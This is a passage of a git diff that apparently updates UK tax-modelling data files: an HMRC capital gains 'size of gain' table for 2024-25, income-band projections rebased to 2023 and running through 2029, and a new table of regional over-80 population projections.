Table_2_2025_Size_of_gain.ods, sheet "2_1a_2023-24" -# URL: https://assets.publishing.service.gov.uk/media/6878ac562bad77c3dae4dcef/Table_2_2025_Size_of_gain.ods -# Published: 24 July 2025 release. +# File: Table_2_2026_Size_of_gain.ods, sheet "2_1a_2024-25" +# URL: https://assets.publishing.service.gov.uk/media/6a7b240b423b0bdba0290eca/Table_2_2026_Size_of_gain.ods +# Published: 27 August 2026 release. # # Committed rather than downloaded at build time because the asset URL embeds a # content hash that changes with every HMRC release, so it is not a stable @@ -14,26 +14,32 @@ # # Units: taxpayers in thousands, gains in £ millions, as published. # -# IMPORTANT DEFINITIONAL NOTE: HMRC's published figures "only include taxpayers -# who have a CGT liability". They are therefore not the same population as -# "everyone with gains above the annual exempt amount", and are narrower than -# the set of people carrying a positive imputed gain in the microdata. The -# under-£12,300 rows are correspondingly small and should not be read as the -# true count of people with small gains. +# The annual exempt amount (AEA) for individuals in 2024 to 2025 was £3,000. # -# Trailing "All" row is the published total and may not equal the sum of the -# bands due to rounding. +# IMPORTANT DEFINITIONAL NOTES: +# - Individuals only. Trusts and personal representatives are in Table 2.1b +# (32 thousand taxpayers and £8,057m of gains in 2024 to 2025) and are not +# people in the microdata. The all-taxpayer headline (Table 1: 584 thousand +# taxpayers, £127,316m of gains) includes them. +# - HMRC's figures "only include taxpayers who have a CGT liability". The row +# under £3,000 is therefore not the count of people with small gains; it is +# the few who are liable with gains under the AEA. +# - Gains are after losses and before the AEA. +# +# Published total for individuals: 551 thousand taxpayers, £119,258m of gains, +# £22,503m of tax. Band sums may differ from published totals through rounding +# (the tax rows below sum to £22,502m). lower_limit,taxpayers_thousands,gains_gbp_millions,tax_gbp_millions -0,2,1,9 -3000,0,1,0 -6000,61,461,18 -10000,23,251,20 -12300,79,1418,169 -25000,74,2645,423 -50000,53,3731,706 -100000,37,5649,1077 -250000,14,4766,826 -500000,8,5705,895 -1000000,5,6390,1067 -2000000,3,9189,1718 -5000000,2,22714,4532 +0,3,1,16 +3000,73,311,17 +6000,57,448,49 +10000,26,289,38 +12300,97,1747,264 +25000,98,3516,608 +50000,78,5510,1041 +100000,61,9487,1777 +250000,25,8820,1546 +500000,16,11372,1828 +1000000,9,12806,2191 +2000000,5,16477,3188 +5000000,3,48474,9939 diff --git a/policyengine_uk_data/storage/incomes_projection.csv b/policyengine_uk_data/storage/incomes_projection.csv index aa9bda2d5..ad0e914ca 100644 --- a/policyengine_uk_data/storage/incomes_projection.csv +++ b/policyengine_uk_data/storage/incomes_projection.csv @@ -1,85 +1,99 @@ total_income_lower_bound,total_income_upper_bound,employment_income_count,employment_income_amount,self_employment_income_count,self_employment_income_amount,state_pension_count,state_pension_amount,private_pension_income_count,private_pension_income_amount,property_income_count,property_income_amount,savings_interest_income_count,savings_interest_income_amount,dividend_income_count,dividend_income_amount,year -12570,15000.0,1360000,16900000000,444000,4810000000,1140000,11800000000,1070000,4350000000,101000,670000000,1250000,274000000,115000,175000000,2024 -15000,20000.0,3100000,48600000000,651000,8030000000,2050000,22200000000,2140000,13600000000,232000,1690000000,2840000,1370000000,372000,855000000,2024 -20000,30000.0,7470000,172000000000,961000,15700000000,2320000,24900000000,2660000,30200000000,431000,3820000000,5250000,3130000000,843000,3330000000,2024 -30000,40000.0,5370000,170000000000,595000,12600000000,1160000,12300000000,1450000,24900000000,364000,3800000000,3690000,2530000000,667000,4700000000,2024 -40000,50000.0,3500000,139000000000,359000,8730000000,568000,6020000000,779000,16900000000,325000,3780000000,2370000,1870000000,627000,8400000000,2024 -50000,70000.0,3430000,174000000000,311000,8220000000,441000,4660000000,643000,17400000000,397000,5400000000,2230000,2340000000,643000,12500000000,2024 -70000,100000.0,1640000,118000000000,143000,5360000000,176000,1890000000,259000,9470000000,226000,3770000000,1070000,1620000000,336000,9440000000,2024 -100000,150000.0,791000,82300000000,85000,4980000000,74000,847000000,109000,5430000000,137000,2550000000,489000,1260000000,222000,6870000000,2024 -150000,200000.0,264000,39200000000,40000,3650000000,21000,265000000,29000,1810000000,54000,1150000000,146000,650000000,92000,3450000000,2024 -200000,300000.0,180000,36600000000,34000,4390000000,14000,179000000,20000,1570000000,41000,1050000000,111000,733000000,75000,3700000000,2024 -300000,500000.0,93000,29000000000,21000,4840000000,8000,96000000,10000,1120000000,23000,765000000,68000,673000000,49000,3430000000,2024 -500000,1000000.0,44000,23100000000,15000,6670000000,3000,43000000,4000,640000000,13000,474000000,38000,653000000,32000,3820000000,2024 -1000000,inf,21000,35500000000,11000,19500000000,2000,20000000,2000,370000000,7000,439000000,21000,1240000000,19000,11100000000,2024 -12570,inf,27263000,1084200000000,3670000,107480000000,7977000,85220000000,9175000,127760000000,2351000,29358000000,19573000,18343000000,4092000,71770000000,2024 -12570,15000.0,1375891,17795688094,449188,4843188790,1153320,12201198978,1082502,4506163433,102180,699345737,1264606,286001092,116344,182664931,2025 -15000,20000.0,3136222,51175765762,658607,8085406650,2073953,22954798078,2165005,14088235102,234711,1764021335,2873184,1430005461,376347,892448664,2025 -20000,30000.0,7557283,181115878830,972229,15808329316,2347108,25746597844,2691081,31284169123,436036,3987314498,5311344,3267092769,852850,3475852690,2025 -30000,40000.0,5432746,179009880239,601952,12686939451,1173554,12718198935,1466943,25793901032,368253,3966438506,3733116,2640813005,674794,4905858152,2025 -40000,50000.0,3540896,146366902077,363195,8790236620,574637,6224679479,788102,17506703913,328797,3945562513,2397692,1951905265,634326,8767916697,2025 -50000,70000.0,3470078,183221877421,314634,8276717642,446153,4818439597,650513,18024653733,401639,5636517876,2256056,2442491080,650513,13047495084,2025 -70000,100000.0,1659163,124253916871,144671,5396983767,178056,1954259836,262026,9809969589,228641,3935124517,1082502,1690955363,339926,9853468288,2025 -100000,150000.0,800242,86661842021,85993,5014361783,74865,875797927,110274,5624935044,138601,2661688997,494714,1315187504,224594,7170903298,2025 -150000,200000.0,267085,41277572384,40467,3675184841,21245,274009977,29339,1874978348,54631,1200369548,147706,678469744,93075,3601108643,2025 -200000,300000.0,182103,38539774216,34397,4420290809,14164,185085985,20234,1626362435,41479,1095989587,112297,765105112,75876,3862058545,2025 -300000,500000.0,94087,30536979570,21245,4873395789,8093,99263992,10117,1160207597,23269,798506699,68795,702477135,49573,3580232651,2025 -500000,1000000.0,44514,24324283727,15175,6716022709,3035,44461996,4047,662975769,13152,494761014,38444,681601143,32374,3987314498,2025 -1000000,inf,21245,37381474991,11129,19634549151,2023,20679998,2023,383282867,7082,458228027,21245,1294311512,19222,11586175635,2025 -12570,inf,27581555,1141661836204,3712882,108221607319,8070207,88117472623,9282205,132346537984,2378470,30643868854,19801701,19146416186,4139813,74913497775,2025 -12570,15000.0,1385161,18400750621,452214,4991391904,1161091,12481831123,1089796,4690916055,102869,719766739,1273126,294352368,117128,187998775,2026 -15000,20000.0,3157352,52915768057,663044,8332822659,2087926,23482767029,2179591,14665852495,236292,1815531028,2892541,1471761839,378882,918508301,2026 -20000,30000.0,7608199,187273911644,978779,16292069209,2362921,26338779235,2709211,32566819510,438974,4103744689,5347128,3362492376,858596,3577348119,2026 -30000,40000.0,5469348,185096308020,606008,13075163824,1181461,13010722273,1476826,26851450524,370734,4082259115,3758267,2717925148,679340,5049109958,2026 -40000,50000.0,3564752,151343451852,365642,9059220649,578508,6367849438,793412,18224478468,331013,4060773541,2413846,2008901196,638600,9023941202,2026 -50000,70000.0,3493457,189451515267,316754,8529987828,449159,4929265511,654896,18763664221,404345,5801105058,2271256,2513812192,654896,13428483931,2026 -70000,100000.0,1670341,128478613802,145646,5562133182,179256,1999208544,263792,10212178171,230181,4050030754,1089796,1740331518,342216,10141191065,2026 -100000,150000.0,805634,89608389118,86573,5167802845,75369,895941607,111017,5855557283,139535,2739410722,498047,1353591180,226107,7380294769,2026 -150000,200000.0,268884,42681031026,40740,3787646663,21389,280312309,29537,1951852428,54999,1235420522,148701,698281164,93702,3706261565,2026 -200000,300000.0,183330,39850146315,34629,4555553110,14259,189343031,20370,1693043266,41759,1127992650,113054,787446298,76388,3974831244,2026 -300000,500000.0,94721,31575252545,21389,5022523247,8148,101547101,10185,1207776088,23426,821823217,69258,722989575,49907,3684775991,2026 -500000,1000000.0,44814,25151321854,15278,6921535135,3056,45484639,4074,690157764,13241,509208111,38703,701504001,32592,4103744689,2026 -1000000,inf,21389,38652464322,11204,20235372584,2037,21155646,2037,398997458,7130,471608356,21389,1332105606,19352,11924493731,2026 -12570,inf,27767379,1180478924442,3737897,111533222839,8124578,90144207486,9344742,137772743731,2394495,31538674501,19935110,19705494460,4167704,77100983340,2026 -12570,15000.0,1395755,18842365727,455673,5176573740,1169971,12731467935,1098130,4836334659,103655,743015304,1282863,303859990,118023,194071161,2027 -15000,20000.0,3181500,54185738125,668115,8641972377,2103895,23952422725,2196261,15120494566,238099,1874172930,2914664,1519299949,381780,948176246,2027 -20000,30000.0,7666388,191768455916,986265,16896508881,2380993,26865555219,2729932,33576392346,442331,4236296209,5388023,3471101344,865163,3692896957,2027 -30000,40000.0,5511178,189538590149,610643,13560255535,1190497,13270936915,1488121,27683846669,373570,4214116647,3787011,2805714505,684536,5212196906,2027 -40000,50000.0,3592016,154975670769,368438,9395319907,582933,6495206523,799480,18789438101,333544,4191937086,2432308,2073788982,643484,9315415747,2027 -50000,70000.0,3520175,193998321682,319176,8846452421,452594,5027850896,659905,19345338636,407437,5988481552,2288627,2595008672,659905,13862225814,2027 -70000,100000.0,1683116,131562080221,146759,5768489656,180627,2039192746,265809,10528756143,231942,4180847305,1098130,1796544465,344833,10468752935,2027 -100000,150000.0,811796,91758976290,87235,5359529569,75945,913860453,111866,6037079816,140602,2827894066,501856,1397312362,227836,7618679307,2027 -150000,200000.0,270941,43705369023,41052,3928169262,21552,285918560,29762,2012359939,55420,1275324775,149838,720835742,94419,3825974325,2027 -200000,300000.0,184732,40806543526,34894,4724565222,14368,193129895,20526,1745527682,42078,1164426968,113918,812880922,76972,4103218841,2027 -300000,500000.0,95445,32333053614,21552,5208860063,8210,103578044,10263,1245217200,23605,848368220,69788,746342238,50288,3803794763,2027 -500000,1000000.0,45157,25754949603,15394,7178325748,3079,46394332,4105,711552685,13342,525655603,38999,724162677,32841,4236296209,2027 -1000000,inf,21552,39580117355,11289,20986109757,2053,21578759,2053,411366396,7184,486841371,21552,1375132801,19500,12309656523,2027 -12570,inf,27979749,1208810232000,3766485,115671132138,8186717,91947093002,9416212,142043704838,2412808,32557378036,20087577,20341984648,4199579,79591355733,2027 -12570,15000.0,1401052,19238055016,457402,5364999173,1174411,12986098807,1102298,4981427321,104049,766048722,1287731,313279627,118471,200087353,2028 -15000,20000.0,3193574,55323637503,670650,8956537080,2111879,24431474027,2204596,15574117602,239003,1932272150,2925725,1566398134,383229,977569638,2028 -20000,30000.0,7695482,195795589515,990008,17511535761,2390029,27402869517,2740292,34583702323,444010,4367621074,5408471,3578705225,868446,3807376486,2028 -30000,40000.0,5532093,193518896614,612960,14053843987,1195015,13536357231,1493768,28514377081,374987,4344753948,3801383,2892691444,687133,5373774619,2028 -40000,50000.0,3605648,158230156643,369836,9737306191,585145,6625111425,802514,19353131432,334810,4321886822,2441538,2138076285,645926,9604192937,2028 -50000,70000.0,3533535,198072282416,320388,9168460125,454312,5128408512,662409,19925709286,408983,6174124031,2297313,2675453747,662409,14291953775,2028 -70000,100000.0,1689503,134324881179,147316,5978460617,181313,2079976843,266818,10844624536,232822,4310453259,1102298,1852237209,346142,10793283491,2028 -100000,150000.0,814876,93685912890,87566,5554614528,76234,932137770,112290,6218195484,141135,2915558570,503760,1440628941,228701,7854857795,2028 -150000,200000.0,271969,44623180866,41207,4071153218,21634,291636965,29875,2072731828,55630,1314859747,150407,743181596,94777,3944579242,2028 -200000,300000.0,185433,41663480094,35026,4896537706,14423,196992516,20604,1797894459,42238,1200524117,114351,838080169,77264,4230418317,2028 -300000,500000.0,95807,33012047069,21634,5398460706,8241,105649617,10302,1282574391,23694,874667571,70053,769478791,50479,3921712116,2028 -500000,1000000.0,45328,26295803010,15453,7439614237,3091,47322224,4121,732899652,13392,541950887,39147,746611665,32966,4367621074,2028 -1000000,inf,21634,40411298999,11332,21749996646,2060,22010337,2060,423707611,7211,501933417,21634,1417761814,19574,12691254952,2028 -12570,inf,28085934,1234195221815,3780779,119881519976,8217786,93786045792,9451947,146305093007,2421965,33566654314,20163811,20972584647,4215517,82058681794,2028 -12570,15000.0,1408997,19661286328,459996,5554383918,1181071,13245818324,1108549,5120904049,104639,788723905,1295034,322552761,119143,206009975,2029 -15000,20000.0,3211685,56540740564,674454,9272703298,2123856,24920098881,2217098,16010182775,240358,1989467760,2942317,1612763805,385402,1006505878,2029 -20000,30000.0,7739124,200103032447,995622,18129693871,2403583,27950921718,2755833,35552023516,446528,4496903457,5439143,3684635555,873371,3920075527,2029 -30000,40000.0,5563466,197776253000,616436,14549945400,1201792,13807081812,1502240,29312761111,377114,4473359460,3822941,2978315640,691030,5532839332,2029 -40000,50000.0,3626095,161711171571,371934,10081033598,588463,6757612399,807065,19895006537,336709,4449815463,2455385,2201363734,649589,9888478806,2029 -50000,70000.0,3553574,202429811895,322204,9492107237,456888,5230975711,666166,20483616198,411303,6356879232,2310341,2754647667,666166,14714998223,2029 -70000,100000.0,1699085,137279987377,148152,6189500583,182341,2121575986,268331,11148266977,234142,4438043464,1108549,1907063770,348105,11112766658,2029 -100000,150000.0,819498,95746974247,88062,5750692706,76666,950780349,112927,6392300917,141936,3001859637,506617,1483271821,229998,8087363023,2029 -150000,200000.0,273511,45604877162,41441,4214865136,21757,297469649,30045,2130766972,55945,1353779836,151260,765179908,95315,4061339509,2029 -200000,300000.0,186485,42580063881,35225,5069385738,14504,200932329,20721,1848234335,42477,1236059851,114999,862887496,77702,4355639474,2029 -300000,500000.0,96351,33738301982,21757,5589026646,8288,107762590,10360,1318485640,23829,900557891,70450,792255504,50765,4037795512,2029 -500000,1000000.0,45585,26874302614,15540,7702233001,3108,48268660,4144,753420366,13468,557992733,39369,768711507,33153,4496903457,2029 -1000000,inf,21757,41300335185,11396,22517772642,2072,22450540,2072,435571149,7252,516790738,21757,1459727824,19685,13066918422,2029 -12570,inf,28245211,1261347138253,3802220,124113343773,8264389,95661748947,9505550,150401540542,2435700,34560233426,20278162,21593376992,4239424,84487633796,2029 +12570,15000.0,1360000,16900000000,444000,4810000000,1140000,11800000000,1070000,4350000000,101000,670000000,1250000,274000000,115000,175000000,2023 +15000,20000.0,3100000,48600000000,651000,8030000000,2050000,22200000000,2140000,13600000000,232000,1690000000,2840000,1370000000,372000,855000000,2023 +20000,30000.0,7470000,172000000000,961000,15700000000,2320000,24900000000,2660000,30200000000,431000,3820000000,5250000,3130000000,843000,3330000000,2023 +30000,40000.0,5370000,170000000000,595000,12600000000,1160000,12300000000,1450000,24900000000,364000,3800000000,3690000,2530000000,667000,4700000000,2023 +40000,50000.0,3500000,139000000000,359000,8730000000,568000,6020000000,779000,16900000000,325000,3780000000,2370000,1870000000,627000,8400000000,2023 +50000,70000.0,3430000,174000000000,311000,8220000000,441000,4660000000,643000,17400000000,397000,5400000000,2230000,2340000000,643000,12500000000,2023 +70000,100000.0,1640000,118000000000,143000,5360000000,176000,1890000000,259000,9470000000,226000,3770000000,1070000,1620000000,336000,9440000000,2023 +100000,150000.0,791000,82300000000,85000,4980000000,74000,847000000,109000,5430000000,137000,2550000000,489000,1260000000,222000,6870000000,2023 +150000,200000.0,264000,39200000000,40000,3650000000,21000,265000000,29000,1810000000,54000,1150000000,146000,650000000,92000,3450000000,2023 +200000,300000.0,180000,36600000000,34000,4390000000,14000,179000000,20000,1570000000,41000,1050000000,111000,733000000,75000,3700000000,2023 +300000,500000.0,93000,29000000000,21000,4840000000,8000,96000000,10000,1120000000,23000,765000000,68000,673000000,49000,3430000000,2023 +500000,1000000.0,44000,23100000000,15000,6670000000,3000,43000000,4000,640000000,13000,474000000,38000,653000000,32000,3820000000,2023 +1000000,inf,21000,35500000000,11000,19500000000,2000,20000000,2000,370000000,7000,439000000,21000,1240000000,19000,11100000000,2023 +12570,inf,27263000,1084200000000,3670000,107480000000,7977000,85220000000,9175000,127760000000,2351000,29358000000,19573000,18343000000,4092000,71770000000,2023 +12570,15000.0,1373373,17761903015,448366,4941310379,1151209,12094996607,1080521,4567498426,101993,694923847,1262291,284192738,116131,181509960,2024 +15000,20000.0,3130482,51078608670,657401,8249214625,2070157,22754993616,2161042,14279995081,234281,1752867615,2867925,1420963688,375658,886805805,2024 +20000,30000.0,7543451,180772030685,970449,16128601446,2342812,25522492840,2686155,31709989076,435238,3962103130,5301622,3246435287,851289,3453875241,2024 +30000,40000.0,5422802,178670030328,600851,12943973135,1171406,12607496463,1464258,26144990993,367579,3941359134,3726283,2624115424,673559,4874838929,2024 +40000,50000.0,3534415,146089024798,362530,8968324244,573585,6170498269,786660,17744993887,328196,3920615139,2393304,1939563574,633165,8712478086,2024 +50000,70000.0,3463727,182874031042,314058,8444401521,445336,4776498660,649323,18269993706,400904,5600878770,2251927,2427047467,649323,12964997152,2024 +70000,100000.0,1656126,124018021051,144406,5506325080,177731,1937249457,261547,9943496574,228222,3910243141,1080521,1680263631,339304,9791165849,2024 +100000,150000.0,798778,86497314682,85836,5115951287,74728,868174756,110072,5701498036,138347,2644859419,493808,1306871713,224183,7125562435,2024 +150000,200000.0,266596,41199206993,40393,3749643011,21206,271624924,29285,1900499345,54531,1192779738,147436,674179852,92905,3578339214,2024 +200000,300000.0,181770,38466606529,34334,4509844608,14138,183474949,20197,1648499432,41403,1089059761,112091,760267433,75737,3837639157,2024 +300000,500000.0,93914,30479005174,21206,4972129363,8079,98399972,10098,1175999595,23226,793457826,68669,698035447,49482,3557595219,2024 +500000,1000000.0,44433,24278104121,15147,6852087366,3029,44074988,4039,671999768,13128,491632692,38374,677291451,32315,3962103130,2024 +1000000,inf,21206,37310506333,11108,20032339376,2020,20499994,2020,388499866,7069,455330700,21206,1286127717,19187,11512917471,2024 +12570,inf,27531073,1139494393423,3706087,110414145442,8055437,87350475494,9265216,134147953786,2374117,30450110911,19765458,19025355421,4132236,74439827648,2024 +12570,15000.0,1389420,18703271362,453605,4975405206,1164661,12506225444,1093147,4731469975,103185,725361239,1277040,296640268,117488,189460025,2025 +15000,20000.0,3167060,53785738946,665083,8306133847,2094346,23528661429,2186293,14792641761,237019,1829642527,2901436,1483201339,380047,925647551,2025 +20000,30000.0,7631593,190352820961,981789,16239888094,2370187,26390255387,2717542,32848366262,440324,4135641689,5363569,3388627876,861236,3605153619,2025 +30000,40000.0,5486165,188139416066,607871,13033285986,1185093,13036150251,1481367,27083586753,371874,4113989114,3769823,2739050647,681429,5088354957,2025 +40000,50000.0,3575713,153831640195,366766,9030205290,580287,6380294676,795852,18382032776,332030,4092336540,2421268,2024515696,640563,9094081200,2025 +50000,70000.0,3504199,192566225856,317728,8502667524,450540,4938899201,656910,18925879900,405588,5846195057,2278240,2533351191,656910,13532858929,2025 +70000,100000.0,1675477,130590888799,146093,5544318483,179807,2003115770,264603,10300464520,230889,4081510253,1093147,1753858517,343268,10220015063,2025 +100000,150000.0,808111,91081611425,86839,5151251128,75601,897692623,111358,5906179762,139964,2760703221,499578,1364112180,226802,7437659267,2025 +150000,200000.0,269711,43382735940,40865,3775515385,21454,280860148,29627,1968726587,55168,1245023021,149158,703708664,93990,3735069064,2025 +200000,300000.0,183894,40505309577,34735,4540962340,14303,189713081,20433,1707679968,41887,1136760150,113401,793566848,76622,4005726243,2025 +300000,500000.0,95012,32094370976,21454,5006436839,8173,101745563,10216,1218217557,23498,828210966,69471,728609125,50060,3713416490,2025 +500000,1000000.0,44952,25564826536,15324,6899366470,3065,45573533,4087,696124318,13281,513166011,38822,706956550,32692,4135641689,2025 +1000000,inf,21454,39287936884,11238,20170561645,2043,21196992,2043,402446871,7151,475274006,21454,1342459606,19411,12017178729,2025 +12570,inf,27852760,1199886793524,3749390,111175998236,8149560,90320384099,9373476,138963817010,2401857,31783813794,19996408,19858658506,4180519,77700262824,2025 +12570,15000.0,1398781,19339192185,456661,5127654184,1172507,12793873312,1100511,4925460161,103880,746541897,1285644,305302209,118279,194992287,2026 +15000,20000.0,3188397,55614481669,669563,8560304178,2108456,24069829452,2201023,15399139815,238616,1883068368,2920983,1526511044,382608,952676600,2026 +20000,30000.0,7683009,196824914547,988403,16736833822,2386155,26997241142,2735851,34195148706,443290,4256403057,5399705,3487576327,867038,3710424654,2026 +30000,40000.0,5523127,194536252750,611967,13432108672,1193078,13335986588,1491347,28194013337,374380,4234118224,3795221,2819031344,686020,5236935698,2026 +40000,50000.0,3599803,159061994896,369237,9306532437,584197,6527043842,801213,19135695799,334267,4211833391,2437581,2083631863,644879,9359629759,2026 +50000,70000.0,3527807,199113576344,319868,8762851848,453575,5052495732,661335,19701840645,408321,6016904845,2293589,2607325433,661335,13928020474,2026 +70000,100000.0,1686765,135031046027,147078,5713976388,181019,2049188183,266385,10722783386,232444,4200690975,1100511,1805071453,345581,10518441062,2026 +100000,150000.0,813556,94178432949,87424,5308881047,76110,918339889,112108,6148333029,140907,2841316177,502944,1403944464,228330,7654840053,2026 +150000,200000.0,271528,44857771222,41141,3891047353,21599,287320036,29827,2049444343,55540,1281377884,150163,724257065,94623,3844133651,2026 +200000,300000.0,185133,41882510886,34970,4679917228,14399,194076553,20570,1777694817,42169,1169953720,114165,816739121,77139,4122694060,2026 +300000,500000.0,95652,33185596057,21599,5159635395,8228,104085749,10285,1268164455,23656,852394853,69939,749884622,50397,3821848818,2026 +500000,1000000.0,45255,26434043756,15428,7110489273,3086,46621742,4114,724665403,13371,528150536,39084,727599790,32912,4256403057,2026 +1000000,inf,21599,40623746898,11314,20787787231,2057,21684531,2057,418947186,7200,489152079,21599,1381659631,19542,12368082181,2026 +12570,inf,28040411,1240683560188,3774651,114578019055,8204466,92397786751,9436627,144661331081,2418039,32711906006,20131129,20438534364,4208684,79969122354,2026 +12570,15000.0,1409479,19803329740,460153,5317891383,1181475,13049750972,1108928,5078149643,104675,770655304,1295477,315163512,119184,201290564,2027 +15000,20000.0,3212783,56949220436,674684,8877893514,2124582,24551226406,2217856,15876513825,240441,1943891736,2943324,1575817561,385534,983448186,2027 +20000,30000.0,7741770,201548681379,995963,17357774368,2404405,27537186374,2756775,35255199818,446680,4393885462,5441003,3600225523,873670,3830271882,2027 +30000,40000.0,5565369,199205092061,616647,13930443123,1202203,13602706522,1502753,29068028989,377243,4370880827,3824248,2910086445,691266,5406089443,2027 +40000,50000.0,3627335,162879457626,372061,9651807021,588665,6657584818,807341,19728903209,336824,4347876191,2456224,2150933459,649811,9661947090,2027 +50000,70000.0,3554789,203892270698,322315,9087955752,457044,5153545723,666393,20312598570,411443,6211251701,2311131,2691542404,666393,14377897456,2027 +70000,100000.0,1699666,138271769783,148203,5925966281,182403,2090171978,268423,11055190142,234222,4336373873,1108928,1863375510,348224,10858188159,2027 +100000,150000.0,819778,96438700451,88092,5505841806,76692,936706701,112966,6338931623,141984,2933091081,506791,1449292064,230077,7902092442,2027 +150000,200000.0,273605,45934350640,41455,4035406143,21764,293066441,30055,2112977208,55965,1322766566,151312,747650668,95347,3968299698,2027 +200000,300000.0,186549,42887684526,35237,4853543279,14509,197958087,20728,1832803434,42492,1207743386,115038,843119907,77729,4255857647,2027 +300000,500000.0,96383,33982045116,21764,5351059105,8291,106167466,10364,1307477609,23837,879927324,70474,774105999,50783,3945295062,2027 +500000,1000000.0,45601,27068456627,15546,7374290130,3109,47554177,4146,747130062,13473,545209872,39382,751101363,33164,4393885462,2027 +1000000,inf,21764,41598710401,11400,21559019120,2073,22118222,2073,431934567,7255,504951759,21764,1426287428,19691,12767572941,2027 +12570,inf,28254869,1270459769485,3803520,118828891025,8267215,94245743887,9508800,149145838699,2436533,33768505081,20285095,21098701843,4240873,82552136032,2027 +12570,15000.0,1414828,20219199254,461900,5511460727,1185959,13310747543,1113137,5230496886,105072,794545560,1300393,324933557,119636,207530557,2028 +15000,20000.0,3224975,58145152885,677245,9201045663,2132645,25042253852,2226273,16352817849,241353,2004152234,2954494,1624667787,386997,1013935006,2028 +20000,30000.0,7771150,205781199511,999742,17989591147,2413530,28087933375,2767237,36312874929,448376,4530095582,5461652,3711832244,876985,3949010023,2028 +30000,40000.0,5586490,203388394865,618987,14437506271,1206765,13874762269,1508456,29940085621,378675,4506377804,3838761,3000298907,693890,5573677811,2028 +40000,50000.0,3641101,166299922860,373473,10003129345,590899,6790737306,810405,20320781004,338102,4482660027,2465546,2217612235,652277,9961466726,2028 +50000,70000.0,3568279,208174004156,323538,9418754091,458779,5256617250,668922,20921987542,413005,6403800038,2319902,2774980016,668922,14823611199,2028 +70000,100000.0,1706116,141175474083,148765,6141669334,183095,2131975666,269441,11386851840,235111,4470801138,1113137,1921140011,349546,11194791177,2028 +100000,150000.0,822889,98463911161,88427,5706252478,76983,955440947,113394,6529103009,142523,3024016685,508714,1494220009,230950,8147056715,2028 +150000,200000.0,274643,46898971051,41613,4182293483,21847,298927805,30169,2176367670,56177,1363772230,151886,770827782,95709,4091316691,2028 +200000,300000.0,187257,43788325012,35371,5030210518,14564,201917272,20806,1887788531,42653,1245183341,115475,869256561,78024,4387788915,2028 +300000,500000.0,96749,34695667359,21847,5545835742,8323,108290827,10403,1346702646,23927,907205005,70741,798103227,50975,4067598913,2028 +500000,1000000.0,45774,27636893655,15605,7642711653,3121,48505266,4161,769544369,13524,562111337,39532,774385449,33290,4530095582,2028 +1000000,inf,21847,42472282457,11443,22343759705,2081,22560589,2081,444892839,7282,520605225,21847,1470502231,19766,13163366745,2028 +12570,inf,28362098,1297139398310,3817955,123154220156,8298590,96130669967,9544887,153620294735,2445780,34815326206,20362079,21752760018,4256968,85111246060,2028 +12570,15000.0,1422852,20664015438,464519,5706015573,1192684,13576959973,1119449,5376947400,105668,818064254,1307768,334551650,120315,213673499,2029 +15000,20000.0,3243265,59424328419,681086,9525843046,2144739,25543094187,2238899,16810686123,242722,2063475507,2971249,1672758251,389192,1043947668,2029 +20000,30000.0,7815221,210308322801,1005412,18624624636,2427217,28649686723,2782930,37329611831,450918,4664187241,5492625,3821703158,881959,4065901443,2029 +30000,40000.0,5618171,207862877187,622498,14947150982,1213609,14152254887,1517011,30778388563,380822,4639767412,3860531,3089108304,697825,5738659694,2029 +40000,50000.0,3661750,169958470171,375591,10356240323,594250,6926550766,815001,20889749667,340020,4615347584,2479528,2283253963,655976,10256327964,2029 +50000,70000.0,3588515,212753768415,325373,9751236593,461381,5361748600,672716,21507789598,415347,6593353691,2333058,2857119933,672716,15262392804,2029 +70000,100000.0,1715792,144281291224,149609,6358470576,184134,2174614775,270970,11705676293,236444,4603137670,1119449,1978006107,351528,11526159046,2029 +100000,150000.0,827556,100630087015,88928,5907683483,77420,974549585,114037,6711913650,143331,3113528132,511599,1538449195,232260,8388211085,2029 +150000,200000.0,276201,47930734034,41849,4329928657,21971,304906304,30340,2237304550,56496,1404140138,152747,793644426,96252,4212420414,2029 +200000,300000.0,188319,44751654736,35571,5207777207,14647,205955579,20924,1940645383,42895,1282040996,116130,894986714,78466,4517668270,2029 +300000,500000.0,97298,35458961402,21971,5741604028,8370,110456624,10462,1384409445,24063,934058440,71143,821727229,51265,4188000585,2029 +500000,1000000.0,46033,28244896841,15693,7912499766,3139,49475363,4185,791091112,13601,578749935,39756,797307400,33479,4664187241,2029 +1000000,inf,21971,43406659648,11508,23132495567,2092,23011797,2092,457349549,7324,536015235,21971,1514029366,19878,13553004810,2029 +12570,inf,28522942,1325676067330,3839607,127501570438,8345652,98053265162,9599017,157921563165,2459650,35845866235,20477554,22396645696,4281109,87630554524,2029 diff --git a/policyengine_uk_data/storage/regional_age_80_plus.csv b/policyengine_uk_data/storage/regional_age_80_plus.csv new file mode 100644 index 000000000..4afa81cb2 --- /dev/null +++ b/policyengine_uk_data/storage/regional_age_80_plus.csv @@ -0,0 +1,13 @@ +name,2022,2023,2024,2025,2026,2027,2028,2029,reference_url +east_age_80_plus,350364.000,359057.134,371659.091,383909.917,397184.443,425490.369,445444.208,459810.859,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +east_midlands_age_80_plus,252810.000,259714.072,270269.576,279796.208,288881.005,308397.351,323332.659,334586.295,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +london_age_80_plus,281480.000,283880.847,288218.147,292199.323,298451.115,312294.218,322619.866,330707.051,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +north_east_age_80_plus,141323.000,142485.609,146050.948,149741.415,153969.782,164716.911,172434.769,178458.689,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +north_west_age_80_plus,368936.000,375461.807,385752.712,394643.102,404696.948,431246.821,450009.928,463577.946,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 +northern_ireland_age_80_plus,86145.000,89224.000,92507.000,95719.000,98931.000,103172.000,106713.000,109973.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z6zippedpopulationprojectionsdatafilesnorthernireland +scotland_age_80_plus,274428.000,279070.000,285484.000,290656.000,297529.000,316051.000,330092.000,341986.000,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/z5zippedpopulationprojectionsdatafilesscotland +south_east_age_80_plus,517027.000,531225.098,550842.841,569679.705,590428.825,631358.154,661477.046,684046.367,https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1 